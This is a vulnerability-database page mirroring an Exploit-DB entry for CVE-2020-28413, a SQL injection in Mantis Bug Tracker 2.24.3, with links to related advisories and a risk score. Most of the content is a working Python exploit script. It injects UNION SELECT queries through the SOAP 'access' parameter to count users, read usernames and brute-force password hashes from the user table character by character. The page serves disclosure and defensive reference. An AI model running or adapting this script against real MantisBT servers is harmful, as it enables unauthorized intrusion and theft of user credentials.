Lucene search
K

Mantis Bug Tracker 2.24.3 - 'access' SQL Injection

🗓️ 04 Jan 2021 00:00:00Reported by EthicalHCOPType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 456 Views

Mantis Bug Tracker 2.24.3 'access' SQL Injection - EthicalHCO

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
mantis -- multiple vulnerabilities
10 Nov 202000:00
freebsd
Circl
CVE-2020-28413
31 Dec 202000:30
circl
CNNVD
MantisBT SQL注入漏洞
30 Dec 202000:00
cnnvd
CNVD
MantisBT SQL Injection Vulnerability (CNVD-2021-01533)
31 Dec 202000:00
cnvd
Check Point Advisories
MantisBT SQL Injection (CVE-2020-28413)
13 Jan 202100:00
checkpoint_advisories
CVE
CVE-2020-28413
30 Dec 202021:28
cve
Cvelist
CVE-2020-28413
30 Dec 202021:28
cvelist
EUVD
EUVD-2020-20872
7 Oct 202500:30
euvd
Tenable Nessus
FreeBSD : mantis -- multiple vulnerabilities (2dc8927b-54e0-11eb-9342-1c697a013f4b)
11 Mar 202100:00
nessus
Github Security Blog
MantisBT SQL Injection via mc_project_get_users function
24 May 202217:37
github
Rows per page
# Exploit Title: Mantis Bug Tracker 2.24.3 - 'access' SQL Injection
# Date: 30/12/2020
# Exploit Author: EthicalHCOP
# Vendor Homepage: https://www.mantisbt.org/
# Version: 2.24.3
# CVE: CVE-2020-28413

import requests, sys, time
from lxml import etree

proxies = {
     "http": "http://127.0.0.1:8080",
     "https": "http://127.0.0.1:8080",
    }

def Hacer_Peticion(query):
    home = ""
    url = home+"/api/soap/mantisconnect.php"
    headers = {'content-type': 'text/xml',
               'SOAPAction': url+'"/mc_project_get_users"'}
    mantis_db_user = ""
    mantis_db_pass = ""
    body = """<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:man="http://futureware.biz/mantisconnect">
       <soapenv:Header/>
       <soapenv:Body>
          <man:mc_project_get_users soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
             <username xsi:type="xsd:string">"""+mantis_db_user+"""</username>
             <password xsi:type="xsd:string">"""+mantis_db_pass+"""</password>
             <project_id xsi:type="xsd:integer">0</project_id>
             <access xsi:type="xsd:string">"""+query+"""</access>
          </man:mc_project_get_users>
       </soapenv:Body>
    </soapenv:Envelope>"""
    response = requests.post(url, data=body, headers=headers, verify=False)
    #response = requests.post(url, data=body, headers=headers, proxies=proxies, verify=False)
    parser = etree.XMLParser(remove_blank_text=True)
    xml = etree.XML(response.content, parser)
    xml = etree.tostring(xml)
    return(str(xml))

def Cantidad_Usuarios_Mantis():
    query = "0 union all select concat('-',(select count(*) " \
            "from mantis_user_table),'0'),2,3,4 order by id asc limit 1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    registros = str(str(str(txt[0])[:-2])[-2:])[:-1]
    return(registros)

def Obtener_Id(usr_pos):
    query = "0 union all select concat((SELECT id FROM mantis_user_table " \
            "order by id asc limit 0,1),'0'),2,3,4 limit "+str(usr_pos)+",1"
    xml = Hacer_Peticion(query)
    txt = xml.split("integer")
    txt = txt[1].split("id")
    id = str(str(txt[0])[:-2])[-1:]
    name = str(str(txt[1])[29:]).split("</name>")[0]
    return (id+"-"+name)

def brute_force(data):
    charts = "abcdefghijklmnopqrstuvwxyz0123456789"
    passw = ""
    id = data.split("-")[0]
    name = data.split("-")[1]
    for cp in range (1,33,1):
        for c in charts:
            print(f"\rHash: {passw}", end="")
            time.sleep(0.00001)
            sys.stdout.flush()
            query = "0 union all select (select if(substring((select binary(password) " \
                    "from mantis_user_table where id = " + str(id) + ")," + str(cp) + ",1)='" + str(c) + "','0','900000000000000000000')), 2,3,4 order by id asc limit 1"
            xml = Hacer_Peticion(query)
            txt = xml.split("integer")
            txt = txt[1].split("id")
            r_id = str(str(txt[0])[:-2])[-1:]
            if(r_id=="0"):
                passw = passw + str(c)
                break
    print(f"\r", end="")
    sys.stdout.flush()
    print(name+": "+passw)

def main():
    cantidad_users = Cantidad_Usuarios_Mantis()
    print("Cantidad usuarios en db: "+str(cantidad_users))
    print("Obteniendo Hashes...")
    for x in range(0,int(cantidad_users),1):
        brute_force(Obtener_Id(x))

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jan 2021 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24
CVSS 3.15.3 - 6.5
EPSS0.01737
456